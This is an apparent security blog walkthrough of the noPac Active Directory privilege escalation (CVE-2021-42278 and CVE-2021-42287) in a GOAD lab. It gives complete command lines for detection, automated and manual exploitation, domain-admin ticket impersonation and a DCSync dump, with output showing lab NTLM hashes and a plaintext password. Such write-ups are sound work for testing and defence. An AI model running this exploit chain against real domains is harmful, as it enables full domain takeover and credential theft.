

Having fun with noPac

 hunio.org/security/having-fun-with-nopac

hun

February 14, 2025

► Table of Contents

What is noPac?

NoPac, released in 2021, is an Active Directory privilege escalation exploit that abuses two vulnerabilities and one function in Active Directory:

- [CVE-2021-42278](#): A vulnerability in the Windows Security Account Manager (SAM) that allows the spoofing of a computer's sAMAccountName, or computer name.
- [CVE-2021-42287](#): A vulnerability in the Kerberos Privilege Attribute Certificate (PAC) that allows an attacker to obtain a Kerberos service ticket for a more privileged user than themselves.
- [Machine Account Quota](#): A domain-level attribute that allows users to attach up to 10 computers to a domain.

How noPac works

If you can obtain credentials for a domain-attached user, you can abuse their Machine Account Quota to arbitrarily create computers under their account. At a high level, here are the steps to exploit noPac:

1. Obtain credentials for an unprivileged domain-attached user.
2. Add a computer to their account using Machine Account Quota—let's name it EVIL\$.
3. Rename the added computer to match the domain controller's name without the \$ (If the domain controller is DC01\$, name your computer DC01).
4. Request a Ticket-Granting Ticket (TGT) for your computer (DC01).
5. Rename your computer back to EVIL\$ or another name.
6. Using the obtained TGT, request a Service Ticket (ST) to the domain controller while impersonating the administrator (using S4U2Self).
7. Profit! If successful, you have achieved domain-wide compromise.

Using the noPac exploit

Despite its age, we still encounter this vulnerability relatively often during engagements, and it's a ton of fun to abuse—so let's do just that!

There are two primary ways to execute the noPac exploit. One method uses [Ridter's official tool](#), while the other involves manually exploiting it using tools like [Fortra's Impacket](#)

and [Dirkjanm's Krbrelayx](#).

Finding the vulnerability

Note: For the following demos, I will use [Mayfly's Game of Active Directory \(GOAD\)](#) as my exploitation environment.

To identify hosts vulnerable to noPac, I prefer using [NetExec's](#) built-in module. This scan requires credentials, and noPac almost always targets domain controllers.

```
nxc smb 192.168.56.11 -u 'jon.snow' -p 'iknownothing' -M nopac
```

```
(kali@kali)-[~]
└─$ nxc smb 192.168.56.11 -u 'jon.snow' -p 'iknownothing' -M nopac
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.11 445 WINTERFELL [+] north.sevenkingdoms.local\jon.snow:iknownothing
NOPAC 192.168.56.11 445 WINTERFELL TGT with PAC size 1615
NOPAC 192.168.56.11 445 WINTERFELL TGT without PAC size 802
NOPAC 192.168.56.11 445 WINTERFELL
NOPAC 192.168.56.11 445 WINTERFELL VULNERABLE
NOPAC 192.168.56.11 445 WINTERFELL Next step: https://github.com/Ridter/noPac
```

As you can see, the domain controller WINTERFELL is vulnerable to noPac!

Automated Exploitation

Let's start by exploiting noPac using Ridter's handy-dandy script. To download it, run the following command and moving into the directory:

```
git clone https://github.com/Ridter/noPac.git
```

```
cd noPac
```

To run the noPac tool, specify the domain, username, password, and domain controller:

```
python3 noPac.py 'north.sevenkingdoms.local/jon.snow':'iknownothing' -dc-ip 192.168.56.11
```

```

(kali@kali)-[~/tools/noPac]
$ python3 noPac.py 'north.sevenkingdoms.local/jon.snow':'iknownothing' -dc-ip 192.168.56.11

```

NOPAC

```

[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target winterfell.north.sevenkingdoms.local
[*] Total Domain Admins 2
[*] will try to impersonate eddard.stark
[*] Adding Computer Account "WIN-BIOGKR40PA1$"
[*] MachineAccount "WIN-BIOGKR40PA1$" password = **8oo6aP)J8j
[*] Successfully added machine account WIN-BIOGKR40PA1$ with password **8oo6aP)J8j.
[*] WIN-BIOGKR40PA1$ object = CN=WIN-BIOGKR40PA1,CN=Computers,DC=north,DC=sevenkingdoms,DC=local
[*] WIN-BIOGKR40PA1$ sAMAccountName == winterfell
[*] Saving a DC's ticket in winterfell.ccache
[*] Resetting the machine account to WIN-BIOGKR40PA1$
[*] Restored WIN-BIOGKR40PA1$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating eddard.stark
[*] Requesting S4U2self
[*] Saving a user's ticket in eddard.stark.ccache
[*] Rename ccache to eddard.stark_winterfell.north.sevenkingdoms.local.ccache
[*] Attempting to del a computer with the name: WIN-BIOGKR40PA1$
[-] Delete computer WIN-BIOGKR40PA1$ Failed! Maybe the current user does not have permission.

```

As you can see, the exploit did the following:

1. Added a computer to jon.snow's account using Machine Account Quota, creating WIN-BIOGKR40PA1\$ with the password **8oo6aP)J8j.
2. Renamed the computer to winterfell (**CVE-2021-42278**).
3. Requested a Ticket-Granting Ticket (TGT) for the winterfell computer.
4. Renamed winterfell back to WIN-BIOGKR40PA1\$.
5. Used the winterfell TGT to request a Service Ticket (ST) as the administrator via constrained delegation's S4U2Self proxy (**CVE-2021-42287**).
6. Attempted to remove the added computer, but jon.snow lacks the permissions to do so.

Following this, can see a service ticket for a domain administrator stored on our host!

```

(kali@kali)-[~/tools/noPac]
$ ls
eddard.stark_winterfell.north.sevenkingdoms.local.ccache

```

We can then export this ticket to our memory and prepare it for use.

```
export KRB5CCNAME=eddard.stark_winterfell.north.sevenkingdoms.local.ccache
```

Next, type `klist` to view the Kerberos ticket information. If `klist` is not installed, install it by typing:

```
sudo apt install krb5-user
```

```
(kali@kali)-[~/tools/noPac]
$ klist
Ticket cache: FILE:eddard.stark_winterfell.north.sevenkingdoms.local.ccache
Default principal: eddard.stark@north.sevenkingdoms.local

Valid starting    Expires          Service principal
02/14/2025 13:49:02 02/14/2025 23:49:02 cifs/winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL
renew until 02/15/2025 13:49:02
```

Looking at the service ticket, we can see the following details:

- **Default Principal:** `eddard.stark` account for `north.sevenkingdoms.local`
- **Service Principal:** Ticket for the CIFS SPN on `winterfell.north.sevenkingdoms.local`

By exploiting these vulnerabilities, we have successfully obtained a service ticket for the domain administrator! To prove this, we can perform a DCSync attack using `impacket-secretsdump` using the exported service ticket:

```
impacket-secretsdump -k winterfell.north.sevenkingdoms.local
```

```
(kali@kali)-[~/tools/noPac]
$ impacket-secretsdump -k winterfell.north.sevenkingdoms.local

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe7e340e8f7c21d6f8000f58ff26b988e
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTHWINTERFELL$:plain_password_hex:0328d02c5fef0132ff644ae6e333c8fd1218d030ea5d0b58061056a5aa63b6112a6ec82bac95f96e72874c580c5491ec85530a36e7343e172a3d8c992
15b873a8c57fb849e8e77761007d74793b3c0c5711068a9bc485026718f9079bdcc649aaaf7b0b03f29c78dc6e35375c57513811d9f2c516e991a5cdda0e1a48ac94da088d1e9a376a1e81a59b9207
e241fd3721aa3a041bd38a4922410ef92fae528320ef90d58ae53c90e6b52c397f6ae9306dfb023934aadfb7f7d2c8bd7f8df290c1ace72f354de13d0394467bb5285f3965fa862968aea40474eb8
9cb990f63ec978f67d7accfaf1cbf924fa65a7e47e1
NORTHWINTERFELL$:aad3b435b51404eeaad3b435b51404ee:0a83076b62291a92814ae541a93df0:::
[*] DefaultPassword
NORTH\robb.stark:sexywolfy
[*] DPAPI_SYSTEM
dpapi_machinekey:0x3ffe2c2966bd0655a8c7a12a0fe24d4d54a4fb40
dpapi_userkey:0x986f6fd181b739a98f2afcb7562b70a5e502f22c
[*] NL$KM
0000 22 34 01 76 01 70 30 93 88 A7 6B 82 87 43 59 69 "4.v.p0...k..CYi_
0010 0E 41 BD 22 0A 0C CC 23 3A 5B B6 74 CB 90 D6 35 .A.....#:[.t...5
0020 14 CA D8 45 4A F0 DB 72 D5 CF 3B A1 ED 7F 3A 98 ...EJ...r...;...:
0030 CD 4D D6 36 6A 35 24 2D A0 EB 0F 8E 3F 52 81 C9 .M.6j5$-....7R..
NL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad845af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1f8bae87cc854d6ed1f63aea48df153a:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc50339d51f71d913c245d35b50b:::
arya.stark:1110:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709:::
eddard.stark:1111:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::
```

Looking at the output, if you see the NTLM hash for the `krbtgt` user, this is complete game over. You can now use this hash to sign your own tickets for any user, bypassing Kerberos' initial authentication process!

Manual Exploitation

To perform the noPac attack manually, we can do just that using Impacket and Krbrelayx.

Using the same credentials as before, we will add a new computer to jon.snow's account using Machine Account Quota. Here, we will call it evilcomputer\$ with the password evilPassword123!:

```
python addcomputer.py -computer-name 'evilcomputer$' -computer-pass  
'evilPassword123!' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios  
NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
```

```
(kali@kali)-[~/tools/impacket-fixed/examples]  
$ python addcomputer.py -computer-name 'evilcomputer$' -computer-pass 'evilPassword123!' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'  
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies  
[*] Successfully added machine account evilcomputer$ with password evilPassword123!
```

Next, we will clear any existing SPNs that might cause issues. For this, I will use Krbrelayx:

```
python addspn.py --clear -t 'evilcomputer$' -u 'north.sevenkingdoms.local\jon.snow'  
-p 'iknownothing' 'winterfell.north.sevenkingdoms.local'
```

```
(kali@kali)-[~/tools/krbrelayx]  
$ python addspn.py --clear -t 'evilcomputer$' -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' 'winterfell.north.sevenkingdoms.local'  
[-] Connecting to host...  
[-] Binding to host  
[+] Bind OK  
[+] Found modification target  
[+] Printing object before clearing  
DN: CN=evilcomputer,CN=Computers,DC=north,DC=sevenkingdoms,DC=local - STATUS: Read - READ TIME: 2025-02-14T13:58:47.301930  
sAMAccountName: evilcomputer$  
[+] SPN Modified successfully
```

After that, we will rename our machine's SAMAccountName to that of the domain controller winterfell, but without the \$. This exploits **CVE-2021-42278**:

```
python renameMachine.py -current-name 'evilcomputer$' -new-name 'winterfell' -dc-ip  
'winterfell.north.sevenkingdoms.local'  
north.sevenkingdoms.local/jon.snow:iknownothing
```

```
(kali@kali)-[~/tools/impacket-fixed/examples]  
$ python renameMachine.py -current-name 'evilcomputer$' -new-name 'winterfell' -dc-ip 'winterfell.north.sevenkingdoms.local' north.sevenkingdoms.local/jon.snow:iknownothing  
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies  
[*] Modifying attribute (sAMAccountName) of object (CN=evilcomputer,CN=Computers,DC=north,DC=sevenkingdoms,DC=local): (evilcomputer$) -> (winterfell)  
[*] New sAMAccountName does not end with '$' (attempting CVE-2021-42278)  
[*] Target object modified successfully!
```

Now, we will request a TGT for our computer, now named winterfell:

```
python getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local'  
'north.sevenkingdoms.local/'winterfell':evilPassword123!'
```

```
(kali@kali)-[~/tools/impacket-fixed/examples]  
$ python getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local/'winterfell':evilPassword123!'  
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies  
[*] Saving ticket in winterfell.ccache
```

After receiving the TGT, we will rename the system back to evilcomputer\$:

```
python renameMachine.py -current-name 'winterfell' -new-name 'evilcomputer$'
north.sevenkingdoms.local/jon.snow:iknownothing
```

```
(kali@kali)-[~/tools/impacket-fixed/examples]
└─$ python renameMachine.py -current-name 'winterfell' -new-name 'evilcomputer$' north.sevenkingdoms.local/jon.snow:iknownothing
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Modifying attribute (sAMAccountName) of object (CN=evilcomputer,CN=Computers,DC=north,DC=sevenkingdoms,DC=local): (winterfell) -> (evilcomputer$)
[*] Target object modified successfully!
```

With that complete, let's export the TGT for use and look at its contents:

```
export KRB5CCNAME=winterfell.ccache
```

```
klist
```

```
(kali@kali)-[~/tools/impacket-fixed/examples]
└─$ export KRB5CCNAME=winterfell.ccache

(kali@kali)-[~/tools/impacket-fixed/examples]
└─$ klist
Ticket cache: FILE:winterfell.ccache
Default principal: winterfell@NORTH.SEVENKINGDOMS.LOCAL

Valid starting    Expires          Service principal
02/14/2025 14:01:03 02/15/2025 00:01:03 krbtgt/NORTH.SEVENKINGDOMS.LOCAL@NORTH.SEVENKINGDOMS.LOCAL
renew until 02/15/2025 14:01:03
```

Looking at the ticket-granting ticket, we can see the following:

- **Default Principal:** This is a TGT for the winterfell computer/user in the north.sevenkingdoms.local domain.
- **Service Principal:** If this value contains krbtgt, it indicates that this is a valid TGT issued by the KDC.

Next, we will present our ticket-granting ticket to the domain controller and request a service ticket while impersonating the administrator user for winterfell using the S4U2Self proxy.

This is where we exploit **CVE-2021-42287**. Since winterfell (the computer we added and renamed) no longer exists, we will instead receive a ticket for the administrator account of winterfell\$, which is the domain administrator.

```
python getST.py -self -impersonate 'administrator' -altservice
'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip
'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell'
```

```
(kali@kali)-[~/tools/impacket-fixed/examples]
└─$ python getST.py -self -impersonate 'administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Impersonating administrator
/home/kali/tools/impacket-fixed/examples/getST.py:378: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now=datetime.datetime.utcnow()
  now = datetime.datetime.utcnow()
/home/kali/tools/impacket-fixed/examples/getST.py:475: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2Self
[*] Changing service from winterfell@NORTH.SEVENKINGDOMS.LOCAL to CIFS/winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL
[*] Saving ticket in administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
```

Exporting this ticket and reviewing its details, we can confirm that we have successfully obtained a service ticket for the administrator user over CIFS/winterfell.north.sevenkingdoms.local!

```
export
KRB5CCNAME=administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache

klist
```

```
(kali@kali)-[~/tools/impacket-fixed/examples]
$ export KRB5CCNAME=administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache

(kali@kali)-[~/tools/impacket-fixed/examples]
$ klist
Ticket cache: FILE:administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
Default principal: administrator@north.sevenkingdoms.local

Valid starting    Expires          Service principal
02/14/2025 14:09:22 02/15/2025 00:01:03 CIFS/winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL
renew until 02/15/2025 14:01:03
```

With the ticket prepared, let's perform a DCSync attack using secretsdump:

```
python secretsdump.py -k winterfell.north.sevenkingdoms.local
```

```
(kali@kali)-[~/tools/impacket-fixed/examples]
$ python secretsdump.py -k winterfell.north.sevenkingdoms.local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe7e340e8f7c21d6f8000f58ff26b988e
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH.WINTERFELL$:plain_password_hex:0328d02c5fef0132ff644ae6e333c8fd1218d030ea5d0b58061056a5aa63b6112a6ec82bac95f96e72874c580c5491ec85530a36e7343e172a3d8c99215b
f29c78dce35375c57513811d9f2c516e991a5cdda0e1a48ac94da088d1e9a376a1e81a59b9207e241fd3721aa3a041bd38a4922410ef92fae528320ef90d58ae53c90e6b52c397f6ae9306dfb023934a
b990f63ec978f67d7accfaf1cbf924fa65a7e47e1
NORTH.WINTERFELL$:aad3b435b51404eeaad3b435b51404ee:0a83076b62291a92814aee451a93d3f0:::
[*] DefaultPassword
NORTH\robb.stark:sexywolfy
[*] DPAPI_SYSTEM
dpapi_machinekey:0x3ffe2c2966bd0655a8c7a12a0fe24d4d54a4fb40
dpapi_userkey:0x986f6fd181b739a98f2afcb7562b70a5e502f22c
[*] NL$KM
0000 22 34 01 76 01 70 30 93 88 A7 6B B2 87 43 59 69 "4.v.p0...k..CYi
0010 0E 41 BD 22 0A 0C CC 23 3A 5B B6 74 CB 90 D6 35 .A."...#:[.t...5
0020 14 CA D8 45 4A F0 DB 72 D5 CF 3B A1 ED 7F 3A 98 ...EJ...r...;....
0030 CD 4D D6 36 6A 35 24 2D A0 EB 0F 8E 3F 52 81 C9 .M.6j5$-...?R..
NL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1f8bae87cc854d6ed1f63aea48df153a:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
arya.stark:1110:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709:::
eddard.stark:1111:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::
```

Once again, looking at the output, we can see the NTLM hash for krbtgt, indicating full domain compromise!

References

- <https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041>

- <https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e>
- <https://www.thehacker.recipes/ad/movement/builtins/machineaccountquota>
- <https://github.com/Ridter/noPac>
- <https://github.com/fortra/impacket>
- <https://github.com/abaker2010/impacket-fixed>
- <https://github.com/dirkjanm/krbrelayx.git>